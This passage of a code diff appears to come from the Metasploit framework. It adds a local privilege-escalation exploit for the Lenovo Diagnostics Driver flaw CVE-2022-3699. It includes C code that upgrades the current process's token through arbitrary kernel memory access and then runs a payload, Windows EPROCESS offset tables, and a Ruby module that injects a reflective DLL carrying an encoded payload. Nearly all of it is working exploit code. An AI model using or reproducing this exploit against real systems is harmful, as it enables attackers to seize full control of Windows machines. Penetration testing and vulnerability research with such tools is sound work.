dprintf("[-] Failed to get a handle to the driver");
return 0;
}
hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, GetCurrentProcessId());
if (hProc == NULL) {
dprintf("[-] Failed to get a handle to the current process");
CloseHandle(hDriver);
return 0;
}
pHandleEntryInfo = GetHandleEntryInfo(hProc, GetCurrentProcessId());
if (pHandleEntryInfo == NULL) {
dprintf("[-] Failed to get the handle entry information");
CloseHandle(hDriver);
return 0;
}
dprintf("[*] Current nt!_EPROCESS found at 0x%p", pHandleEntryInfo->Object);
dprintf("[*] nt!_EPROCESS->Token = 0x%p", KernelRead(lm, (ULONG_PTR)pHandleEntryInfo->Object + g_pEprocessOffsets->Token));
if (UpgradeToken(lm, hDriver, (ULONG_PTR)pHandleEntryInfo->Object)) {
ExecutePayload(pPayload);
}
HeapFree(GetProcessHeap(), 0, pHandleEntryInfo);
CloseHandle(hDriver);
return 0;
}

View File

@ -0,0 +1,7 @@
#pragma once
#include <Windows.h>
class exploit {
public:
DWORD Exploit(PVOID pPayload);
};

View File

@ -2,6 +2,7 @@
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#ifdef DEBUGTRACE
@ -67,6 +68,13 @@ const static EPROCESS_OFFSETS EprocessOffsetsWin10v2009 = { 0x448, 0x4b8, 0x440
const static EPROCESS_OFFSETS EprocessOffsetsWin10v21H1 = { 0x448, 0x4b8, 0x440 };
/* Windows 10 v21H2 (10.0.19044) */
const static EPROCESS_OFFSETS EprocessOffsetsWin10v21H2 = { 0x448, 0x4b8, 0x440 };
/* Windows 10 v21H2 (10.0.19045) */
const static EPROCESS_OFFSETS EprocessOffsetsWin10v22H2 = { 0x448, 0x4b8, 0x440 };
/* Windows 11 v21H2 (10.0.22000) - https://www.vergiliusproject.com/kernels/x64/Windows%2011/21H2%20(RTM)/_EPROCESS */
const static EPROCESS_OFFSETS EprocessOffsetsWin11v21H2 = { 0x448, 0x4b8, 0x440 };
/* Windows 2022 (10.0.20348) */
const static EPROCESS_OFFSETS EprocessOffsetsWinServer2022 = { 0x448, 0x4b8, 0x440 };
#endif
/*

View File

@ -0,0 +1,115 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',
'Description' => %q{
Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to
issue device IOCTLs to perform arbitrary physical/virtual memory read/write.
},
'License' => MSF_LICENSE,
'Author' => [
'alfarom256', # Original PoC
'jheysel-r7' # msf module
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'References' => [
[ 'CVE', '2022-3699' ],
[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]
],
'DisclosureDate' => '2022-11-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
]
}
}
}
)
)
end
def check
unless session.platform == 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
handle = open_device('\\\\.\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
CheckCode::Appears
end
def target_compatible?
build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i
vprint_status("Windows Build Number = #{build_num}")
return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045
return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000
return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348
false
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
unless target_compatible?
fail_with(Failure::NoTarget, 'The exploit does not support this target')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),
[encoded_payload.length].pack('I<') + encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end